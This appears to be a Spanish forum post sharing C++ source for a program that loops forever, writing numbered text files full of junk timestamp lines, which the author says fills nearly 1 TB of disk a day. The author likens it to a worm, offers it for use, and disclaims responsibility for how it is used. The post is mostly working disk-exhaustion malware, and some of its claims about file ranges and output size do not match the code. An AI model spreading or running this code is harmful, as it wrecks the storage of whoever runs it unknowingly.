Los archivos van del 0.txt al 999999999999999999999.txt y dentro de cada archivo se aloja una cadena de datos que van desde el 00:00:00 hasta el 99:99:99 más un agregado de datos modificables.
Haciendo los cálculos, en 24 horas se generan un total de 996 GB de archivos basura, es decir, casi 1 TB.
Código:
#include <fstream>
#include <stdlib.h>
#include <string.h>
using namespace std;
int main(){
int nfile = 0;
char hckr[40] = "spk";
while(true){
char fname[24];
itoa(nfile, fname, 10);
strcat(fname, ".txt");
ifstream fseek(fname);
int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;
if(!fseek.is_open()){
ofstream fo(fname);
for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}
if(e > 9){
f = 0;
e = 0;
d++;
}
if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}
if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}
if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}
fo << "# data [" << a << b << ":" << c << d << ":" << e << f << "] " << hckr << "\n";
}
fo.close();
} else {
fseek.close();
}
nfile++;
}
}
No sé si definirlo exactamente como un gusano ya que si bien no se duplica a sí mismo ni tampoco se propaga mediante p2p ni nada por el estilo, pero sí tiene la función afectar por lo menos a una parte específica de la pc.
Espero que les sirva de algo el código, y cualquier duda, me preguntan.
PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.